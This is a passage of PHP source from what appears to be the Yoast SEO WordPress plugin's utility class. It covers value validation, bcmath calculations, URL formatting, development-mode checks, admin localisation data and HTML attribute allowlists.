	 * Validate a value as boolean.
	 *
	 * @since 1.8.0
	 *
	 * @param mixed $value Value to validate.
	 *
	 * @return bool
	 */
	public static function validate_bool( $value ) {
		if ( ! isset( self::$has_filters ) ) {
			self::$has_filters = extension_loaded( 'filter' );
		}

		if ( self::$has_filters ) {
			return filter_var( $value, FILTER_VALIDATE_BOOLEAN );
		}
		else {
			return self::emulate_filter_bool( $value );
		}
	}

	/**
	 * Cast a value to bool.
	 *
	 * @since 1.8.0
	 *
	 * @param mixed $value Value to cast.
	 *
	 * @return bool
	 */
	public static function emulate_filter_bool( $value ) {
		$true  = [
			'1',
			'true',
			'True',
			'TRUE',
			'y',
			'Y',
			'yes',
			'Yes',
			'YES',
			'on',
			'On',
			'ON',
		];
		$false = [
			'0',
			'false',
			'False',
			'FALSE',
			'n',
			'N',
			'no',
			'No',
			'NO',
			'off',
			'Off',
			'OFF',
		];

		if ( is_bool( $value ) ) {
			return $value;
		}
		elseif ( is_int( $value ) && ( $value === 0 || $value === 1 ) ) {
			return (bool) $value;
		}
		elseif ( ( is_float( $value ) && ! is_nan( $value ) ) && ( $value === (float) 0 || $value === (float) 1 ) ) {
			return (bool) $value;
		}
		elseif ( is_string( $value ) ) {
			$value = trim( $value );
			if ( in_array( $value, $true, true ) ) {
				return true;
			}
			elseif ( in_array( $value, $false, true ) ) {
				return false;
			}
			else {
				return false;
			}
		}

		return false;
	}

	/**
	 * Validate a value as integer.
	 *
	 * @since 1.8.0
	 *
	 * @param mixed $value Value to validate.
	 *
	 * @return int|bool Int or false in case of failure to convert to int.
	 */
	public static function validate_int( $value ) {
		if ( ! isset( self::$has_filters ) ) {
			self::$has_filters = extension_loaded( 'filter' );
		}

		if ( self::$has_filters ) {
			return filter_var( $value, FILTER_VALIDATE_INT );
		}
		else {
			return self::emulate_filter_int( $value );
		}
	}

	/**
	 * Cast a value to integer.
	 *
	 * @since 1.8.0
	 *
	 * @param mixed $value Value to cast.
	 *
	 * @return int|bool
	 */
	public static function emulate_filter_int( $value ) {
		if ( is_int( $value ) ) {
			return $value;
		}
		elseif ( is_float( $value ) ) {
			// phpcs:ignore WordPress.PHP.StrictComparisons -- Purposeful loose comparison.
			if ( (int) $value == $value && ! is_nan( $value ) ) {
				return (int) $value;
			}
			else {
				return false;
			}
		}
		elseif ( is_string( $value ) ) {
			$value = trim( $value );
			if ( $value === '' ) {
				return false;
			}
			elseif ( ctype_digit( $value ) ) {
				return (int) $value;
			}
			elseif ( strpos( $value, '-' ) === 0 && ctype_digit( substr( $value, 1 ) ) ) {
				return (int) $value;
			}
			else {
				return false;
			}
		}

		return false;
	}

	/**
	 * Clears the WP or W3TC cache depending on which is used.
	 *
	 * @since 1.8.0
	 */
	public static function clear_cache() {
		if ( function_exists( 'w3tc_pgcache_flush' ) ) {
			w3tc_pgcache_flush();
		}
		elseif ( function_exists( 'wp_cache_clear_cache' ) ) {
			wp_cache_clear_cache();
		}
	}

	/**
	 * Clear rewrite rules.
	 *
	 * @since 1.8.0
	 */
	public static function clear_rewrites() {
		update_option( 'rewrite_rules', '' );
	}

	/**
	 * Do simple reliable math calculations without the risk of wrong results.
	 *
	 * In the rare case that the bcmath extension would not be loaded, it will return the normal calculation results.
	 *
	 * @link http://floating-point-gui.de/
	 * @link http://php.net/language.types.float.php See the big red warning.
	 *
	 * @since 1.5.0
	 * @since 1.8.0 Moved from stand-alone function to this class.
	 *
	 * @param mixed  $number1   Scalar (string/int/float/bool).
	 * @param string $action    Calculation action to execute. Valid input:
	 *                          '+' or 'add' or 'addition',
	 *                          '-' or 'sub' or 'subtract',
	 *                          '*' or 'mul' or 'multiply',
	 *                          '/' or 'div' or 'divide',
	 *                          '%' or 'mod' or 'modulus'
	 *                          '=' or 'comp' or 'compare'.
	 * @param mixed  $number2   Scalar (string/int/float/bool).
	 * @param bool   $round     Whether or not to round the result. Defaults to false.
	 *                          Will be disregarded for a compare operation.
	 * @param int    $decimals  Decimals for rounding operation. Defaults to 0.
	 * @param int    $precision Calculation precision. Defaults to 10.
	 *
	 * @return mixed Calculation Result or false if either or the numbers isn't scalar or
	 *               an invalid operation was passed.
	 *               - For compare the result will always be an integer.
	 *               - For all other operations, the result will either be an integer (preferred)
	 *                 or a float.
	 */
	public static function calc( $number1, $action, $number2, $round = false, $decimals = 0, $precision = 10 ) {
		static $bc;

		if ( ! is_scalar( $number1 ) || ! is_scalar( $number2 ) ) {
			return false;
		}

		if ( ! isset( $bc ) ) {
			$bc = extension_loaded( 'bcmath' );
		}

		if ( $bc ) {
			$number1 = number_format( $number1, 10, '.', '' );
			$number2 = number_format( $number2, 10, '.', '' );
		}

		$result  = null;
		$compare = false;

		switch ( $action ) {
			case '+':
			case 'add':
			case 'addition':
				$result = ( $bc ) ? bcadd( $number1, $number2, $precision ) /* string */ : ( $number1 + $number2 );
				break;

			case '-':
			case 'sub':
			case 'subtract':
				$result = ( $bc ) ? bcsub( $number1, $number2, $precision ) /* string */ : ( $number1 - $number2 );
				break;

			case '*':
			case 'mul':
			case 'multiply':
				$result = ( $bc ) ? bcmul( $number1, $number2, $precision ) /* string */ : ( $number1 * $number2 );
				break;

			case '/':
			case 'div':
			case 'divide':
				if ( $bc ) {
					$result = bcdiv( $number1, $number2, $precision ); // String, or NULL if right_operand is 0.
				}
				elseif ( $number2 != 0 ) { // phpcs:ignore WordPress.PHP.StrictComparisons -- Purposeful loose comparison.
					$result = ( $number1 / $number2 );
				}

				if ( ! isset( $result ) ) {
					$result = 0;
				}
				break;

			case '%':
			case 'mod':
			case 'modulus':
				if ( $bc ) {
					$result = bcmod( $number1, $number2 ); // String, or NULL if modulus is 0.
				}
				elseif ( $number2 != 0 ) { // phpcs:ignore WordPress.PHP.StrictComparisons -- Purposeful loose comparison.
					$result = ( $number1 % $number2 );
				}

				if ( ! isset( $result ) ) {
					$result = 0;
				}
				break;

			case '=':
			case 'comp':
			case 'compare':
				$compare = true;
				if ( $bc ) {
					$result = bccomp( $number1, $number2, $precision ); // Returns int 0, 1 or -1.
				}
				else {
					// phpcs:ignore WordPress.PHP.StrictComparisons -- Purposeful loose comparison.
					$result = ( $number1 == $number2 ) ? 0 : ( ( $number1 > $number2 ) ? 1 : -1 );
				}
				break;
		}

		if ( isset( $result ) ) {
			if ( $compare === false ) {
				if ( $round === true ) {
					$result = round( floatval( $result ), $decimals );
					if ( $decimals === 0 ) {
						$result = (int) $result;
					}
				}
				else {
					// phpcs:ignore WordPress.PHP.StrictComparisons -- Purposeful loose comparison.
					$result = ( intval( $result ) == $result ) ? intval( $result ) : floatval( $result );
				}
			}

			return $result;
		}

		return false;
	}

	/**
	 * Trim whitespace and NBSP (Non-breaking space) from string.
	 *
	 * @since 2.0.0
	 *
	 * @param string $text String input to trim.
	 *
	 * @return string
	 */
	public static function trim_nbsp_from_string( $text ) {
		$find = [ '&nbsp;', chr( 0xC2 ) . chr( 0xA0 ) ];
		$text = str_replace( $find, ' ', $text );
		$text = trim( $text );

		return $text;
	}

	/**
	 * Check if a string is a valid datetime.
	 *
	 * @since 2.0.0
	 *
	 * @param string $datetime String input to check as valid input for DateTime class.
	 *
	 * @return bool
	 */
	public static function is_valid_datetime( $datetime ) {
		return YoastSEO()->helpers->date->is_valid_datetime( $datetime );
	}

	/**
	 * Format the URL to be sure it is okay for using as a redirect url.
	 *
	 * This method will parse the URL and combine them in one string.
	 *
	 * @since 2.3.0
	 *
	 * @param string $url URL string.
	 *
	 * @return mixed
	 */
	public static function format_url( $url ) {
		$parsed_url = wp_parse_url( $url );

		$formatted_url = '';
		if ( ! empty( $parsed_url['path'] ) ) {
			$formatted_url = $parsed_url['path'];
		}

		// Prepend a slash if first char != slash.
		if ( stripos( $formatted_url, '/' ) !== 0 ) {
			$formatted_url = '/' . $formatted_url;
		}

		// Append 'query' string if it exists.
		if ( ! empty( $parsed_url['query'] ) ) {
			$formatted_url .= '?' . $parsed_url['query'];
		}

		return apply_filters( 'wpseo_format_admin_url', $formatted_url );
	}

	/**
	 * Retrieves the sitename.
	 *
	 * @since 3.0.0
	 *
	 * @return string
	 */
	public static function get_site_name() {
		return YoastSEO()->helpers->site->get_site_name();
	}

	/**
	 * Check if the current opened page is a Yoast SEO page.
	 *
	 * @since 3.0.0
	 *
	 * @return bool
	 */
	public static function is_yoast_seo_page() {
		return YoastSEO()->helpers->current_page->is_yoast_seo_page();
	}

	/**
	 * Check if the current opened page belongs to Yoast SEO Free.
	 *
	 * @since 3.3.0
	 *
	 * @param string $current_page The current page the user is on.
	 *
	 * @return bool
	 */
	public static function is_yoast_seo_free_page( $current_page ) {
		$yoast_seo_free_pages = [
			'wpseo_dashboard',
			'wpseo_tools',
			'wpseo_search_console',
			'wpseo_licenses',
		];

		return in_array( $current_page, $yoast_seo_free_pages, true );
	}

	/**
	 * Determine if Yoast SEO is in development mode?
	 *
	 * Inspired by JetPack (https://github.com/Automattic/jetpack/blob/master/class.jetpack.php#L1383-L1406).
	 *
	 * @since 3.0.0
	 *
	 * @return bool
	 */
	public static function is_development_mode() {
		$development_mode = false;

		if ( defined( 'YOAST_ENVIRONMENT' ) && YOAST_ENVIRONMENT === 'development' ) {
			$development_mode = true;
		}
		elseif ( defined( 'WPSEO_DEBUG' ) ) {
			$development_mode = WPSEO_DEBUG;
		}
		elseif ( site_url() && strpos( site_url(), '.' ) === false ) {
			$development_mode = true;
		}

		/**
		 * Filter the Yoast SEO development mode.
		 *
		 * @since 3.0
		 *
		 * @param bool $development_mode Is Yoast SEOs development mode active.
		 */
		return apply_filters( 'yoast_seo_development_mode', $development_mode );
	}

	/**
	 * Retrieve home URL with proper trailing slash.
	 *
	 * @since 3.3.0
	 *
	 * @param string      $path   Path relative to home URL.
	 * @param string|null $scheme Scheme to apply.
	 *
	 * @return string Home URL with optional path, appropriately slashed if not.
	 */
	public static function home_url( $path = '', $scheme = null ) {
		return YoastSEO()->helpers->url->home( $path, $scheme );
	}

	/**
	 * Checks if the WP-REST-API is available.
	 *
	 * @since 3.6
	 * @since 3.7 Introduced the $minimum_version parameter.
	 *
	 * @param string $minimum_version The minimum version the API should be.
	 *
	 * @return bool Returns true if the API is available.
	 */
	public static function is_api_available( $minimum_version = '2.0' ) {
		return ( defined( 'REST_API_VERSION' )
			&& version_compare( REST_API_VERSION, $minimum_version, '>=' ) );
	}

	/**
	 * Determine whether or not the metabox should be displayed for a post type.
	 *
	 * @param string|null $post_type Optional. The post type to check the visibility of the metabox for.
	 *
	 * @return bool Whether or not the metabox should be displayed.
	 */
	protected static function display_post_type_metabox( $post_type = null ) {
		if ( ! isset( $post_type ) ) {
			$post_type = get_post_type();
		}

		if ( ! isset( $post_type ) || ! WPSEO_Post_Type::is_post_type_accessible( $post_type ) ) {
			return false;
		}

		if ( $post_type === 'attachment' && WPSEO_Options::get( 'disable-attachment' ) ) {
			return false;
		}

		return apply_filters( 'wpseo_enable_editor_features_' . $post_type, WPSEO_Options::get( 'display-metabox-pt-' . $post_type ) );
	}

	/**
	 * Determine whether or not the metabox should be displayed for a taxonomy.
	 *
	 * @param string|null $taxonomy Optional. The post type to check the visibility of the metabox for.
	 *
	 * @return bool Whether or not the metabox should be displayed.
	 */
	protected static function display_taxonomy_metabox( $taxonomy = null ) {
		if ( ! isset( $taxonomy ) || ! in_array( $taxonomy, get_taxonomies( [ 'public' => true ], 'names' ), true ) ) {
			return false;
		}

		return WPSEO_Options::get( 'display-metabox-tax-' . $taxonomy );
	}

	/**
	 * Determines whether the metabox is active for the given identifier and type.
	 *
	 * @param string $identifier The identifier to check for.
	 * @param string $type       The type to check for.
	 *
	 * @return bool Whether or not the metabox is active.
	 */
	public static function is_metabox_active( $identifier, $type ) {
		if ( $type === 'post_type' ) {
			return self::display_post_type_metabox( $identifier );
		}

		if ( $type === 'taxonomy' ) {
			return self::display_taxonomy_metabox( $identifier );
		}

		return false;
	}

	/**
	 * Determines whether the plugin is active for the entire network.
	 *
	 * @return bool Whether the plugin is network-active.
	 */
	public static function is_plugin_network_active() {
		return YoastSEO()->helpers->url->is_plugin_network_active();
	}

	/**
	 * Gets the type of the current post.
	 *
	 * @return string The post type, or an empty string.
	 */
	public static function get_post_type() {
		$wp_screen = \get_current_screen();

		if ( $wp_screen !== null && ! empty( $wp_screen->post_type ) ) {
			return $wp_screen->post_type;
		}
		return '';
	}

	/**
	 * Gets the type of the current page.
	 *
	 * @return string Returns 'post' if the current page is a post edit page. Taxonomy in other cases.
	 */
	public static function get_page_type() {
		global $pagenow;
		if ( WPSEO_Metabox::is_post_edit( $pagenow ) ) {
			return 'post';
		}

		return 'taxonomy';
	}

	/**
	 * Getter for the Adminl10n array. Applies the wpseo_admin_l10n filter.
	 *
	 * @return array The Adminl10n array.
	 */
	public static function get_admin_l10n() {
		$post_type = self::get_post_type();
		$page_type = self::get_page_type();

		$label_object = false;
		$no_index     = false;

		if ( $page_type === 'post' ) {
			$label_object = get_post_type_object( $post_type );
			$no_index     = WPSEO_Options::get( 'noindex-' . $post_type, false );
		}
		else {
			$label_object = WPSEO_Taxonomy::get_labels();

			$wp_screen = \get_current_screen();

			if ( $wp_screen !== null && ! empty( $wp_screen->taxonomy ) ) {
				$taxonomy_slug = $wp_screen->taxonomy;
				$no_index      = WPSEO_Options::get( 'noindex-tax-' . $taxonomy_slug, false );
			}
		}

		$wpseo_admin_l10n = [
			'displayAdvancedTab'    => WPSEO_Capability_Utils::current_user_can( 'wpseo_edit_advanced_metadata' ) || ! WPSEO_Options::get( 'disableadvanced_meta' ),
			'noIndex'               => (bool) $no_index,
			'isPostType'            => (bool) get_post_type(),
			'postType'              => get_post_type(),
			'postTypeNamePlural'    => ( $page_type === 'post' ) ? $label_object->label : $label_object->name,
			'postTypeNameSingular'  => ( $page_type === 'post' ) ? $label_object->labels->singular_name : $label_object->singular_name,
			'isBreadcrumbsDisabled' => WPSEO_Options::get( 'breadcrumbs-enable', false ) !== true && ! current_theme_supports( 'yoast-seo-breadcrumbs' ),
			// phpcs:ignore Generic.ControlStructures.DisallowYodaConditions -- Bug: squizlabs/PHP_CodeSniffer#2962.
			'isPrivateBlog'         => ( (string) get_option( 'blog_public' ) ) === '0',
			'news_seo_is_active'    => ( defined( 'WPSEO_NEWS_FILE' ) ),
		];

		$additional_entries = apply_filters( 'wpseo_admin_l10n', [] );
		if ( is_array( $additional_entries ) ) {
			$wpseo_admin_l10n = array_merge( $wpseo_admin_l10n, $additional_entries );
		}

		return $wpseo_admin_l10n;
	}

	/**
	 * Retrieves the analysis worker log level. Defaults to errors only.
	 *
	 * Uses bool YOAST_SEO_DEBUG as flag to enable logging. Off equals ERROR.
	 * Uses string YOAST_SEO_DEBUG_ANALYSIS_WORKER as log level for the Analysis
	 * Worker. Defaults to INFO.
	 * Can be: TRACE, DEBUG, INFO, WARN or ERROR.
	 *
	 * @return string The log level to use.
	 */
	public static function get_analysis_worker_log_level() {
		if ( defined( 'YOAST_SEO_DEBUG' ) && YOAST_SEO_DEBUG ) {
			return defined( 'YOAST_SEO_DEBUG_ANALYSIS_WORKER' ) ? YOAST_SEO_DEBUG_ANALYSIS_WORKER : 'INFO';
		}

		return 'ERROR';
	}

	/**
	 * Returns the unfiltered home URL.
	 *
	 * In case WPML is installed, returns the original home_url and not the WPML version.
	 * In case of a multisite setup we return the network_home_url.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return string The home url.
	 */
	public static function get_home_url() {
		return YoastSEO()->helpers->url->network_safe_home_url();
	}

	/**
	 * Prepares data for outputting as JSON.
	 *
	 * @param array $data The data to format.
	 *
	 * @return false|string The prepared JSON string.
	 */
	public static function format_json_encode( $data ) {
		$flags = ( JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE );

		if ( self::is_development_mode() ) {
			$flags = ( $flags | JSON_PRETTY_PRINT );

			/**
			 * Filter the Yoast SEO development mode.
			 *
			 * @api array $data Allows filtering of the JSON data for debug purposes.
			 */
			$data = apply_filters( 'wpseo_debug_json_data', $data );
		}

		// phpcs:ignore Yoast.Yoast.AlternativeFunctions.json_encode_wp_json_encodeWithAdditionalParams -- This is the definition of format_json_encode.
		return wp_json_encode( $data, $flags );
	}

	/**
	 * Extends the allowed post tags with accessibility-related attributes.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param array $allowed_post_tags The allowed post tags.
	 *
	 * @return array The allowed tags including post tags, input tags and select tags.
	 */
	public static function extend_kses_post_with_a11y( $allowed_post_tags ) {
		static $a11y_tags;

		if ( isset( $a11y_tags ) === false ) {
			$a11y_tags = [
				'button'   => [
					'aria-expanded' => true,
					'aria-controls' => true,
				],
				'div'      => [
					'tabindex' => true,
				],
				// Below are attributes that are needed for backwards compatibility (WP < 5.1).
				'span'     => [
					'aria-hidden' => true,
				],
				'input'    => [
					'aria-describedby' => true,
				],
				'select'   => [
					'aria-describedby' => true,
				],
				'textarea' => [
					'aria-describedby' => true,
				],
			];

			// Add the global allowed attributes to each html element.
			$a11y_tags = array_map( '_wp_add_global_attributes', $a11y_tags );
		}

		return array_merge_recursive( $allowed_post_tags, $a11y_tags );
	}

	/**
	 * Extends the allowed post tags with input, select and option tags.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param array $allowed_post_tags The allowed post tags.
	 *
	 * @return array The allowed tags including post tags, input tags, select tags and option tags.
	 */
	public static function extend_kses_post_with_forms( $allowed_post_tags ) {
		static $input_tags;

		if ( isset( $input_tags ) === false ) {
			$input_tags = [
				'input' => [
					'accept'          => true,
					'accesskey'       => true,
					'align'           => true,
					'alt'             => true,
					'autocomplete'    => true,
					'autofocus'       => true,
					'checked'         => true,
					'contenteditable' => true,
					'dirname'         => true,
					'disabled'        => true,
					'draggable'       => true,
					'dropzone'        => true,
					'form'            => true,
					'formaction'      => true,
					'formenctype'     => true,
					'formmethod'      => true,
					'formnovalidate'  => true,
					'formtarget'      => true,
					'height'          => true,
					'hidden'          => true,
					'lang'            => true,
					'list'            => true,
					'max'             => true,
					'maxlength'       => true,
					'min'             => true,
					'multiple'        => true,
					'name'            => true,
					'pattern'         => true,
					'placeholder'     => true,
					'readonly'        => true,
					'required'        => true,
					'size'            => true,
					'spellcheck'      => true,
					'src'             => true,
					'step'            => true,
					'tabindex'        => true,
					'translate'       => true,
					'type'            => true,
					'value'           => true,
					'width'           => true,

					/*
					 * Below are attributes that are needed for backwards compatibility (WP < 5.1).
					 * They are used for the social media image in the metabox.
					 * These can be removed once we move to the React versions of the social previews.
					 */
					'data-target'     => true,
					'data-target-id'  => true,
				],
				'select' => [
					'accesskey'       => true,
					'autofocus'       => true,
					'contenteditable' => true,
					'disabled'        => true,
					'draggable'       => true,
					'dropzone'        => true,
					'form'            => true,
					'hidden'          => true,
					'lang'            => true,
					'multiple'        => true,
					'name'            => true,
					'onblur'          => true,
					'onchange'        => true,
					'oncontextmenu'   => true,
					'onfocus'         => true,
					'oninput'         => true,
					'oninvalid'       => true,
					'onreset'         => true,
					'onsearch'        => true,
					'onselect'        => true,
					'onsubmit'        => true,
					'required'        => true,
					'size'            => true,
					'spellcheck'      => true,
					'tabindex'        => true,
					'translate'       => true,
				],
				'option' => [
					'class'    => true,
					'disabled' => true,
					'id'       => true,
					'label'    => true,
					'selected' => true,
					'value'    => true,
				],
			];

			// Add the global allowed attributes to each html element.
			$input_tags = array_map( '_wp_add_global_attributes', $input_tags );
		}

		return array_merge_recursive( $allowed_post_tags, $input_tags );
	}

	/**
	 * Gets an array of enabled features.
	 *
	 * @return string[] The array of enabled features.
	 */
	public static function retrieve_enabled_features() {
		/**
		 * The feature flag integration.
		 *
		 * @var Feature_Flag_Integration $feature_flag_integration;
		 */
		$feature_flag_integration = YoastSEO()->classes->get( Feature_Flag_Integration::class );
		return $feature_flag_integration->get_enabled_features();
	}

	/* ********************* DEPRECATED METHODS ********************* */

	/**
	 * Translates a decimal analysis score into a textual one.
	 *
	 * @since 1.8.0
	 * @deprecated 19.5
	 * @codeCoverageIgnore
	 *
	 * @param int  $val       The decimal score to translate.
	 * @param bool $css_value Whether to return the i18n translated score or the CSS class value.
	 *
	 * @return string
	 */
	public static function translate_score( $val, $css_value = true ) {
		_deprecated_function( __METHOD__, 'Yoast SEO 19.5', 'YoastSEO()->helpers->score_icon' );

		$seo_rank = WPSEO_Rank::from_numeric_score( $val );

		if ( $css_value ) {
			return $seo_rank->get_css_class();
		}

		return $seo_rank->get_label();
	}
}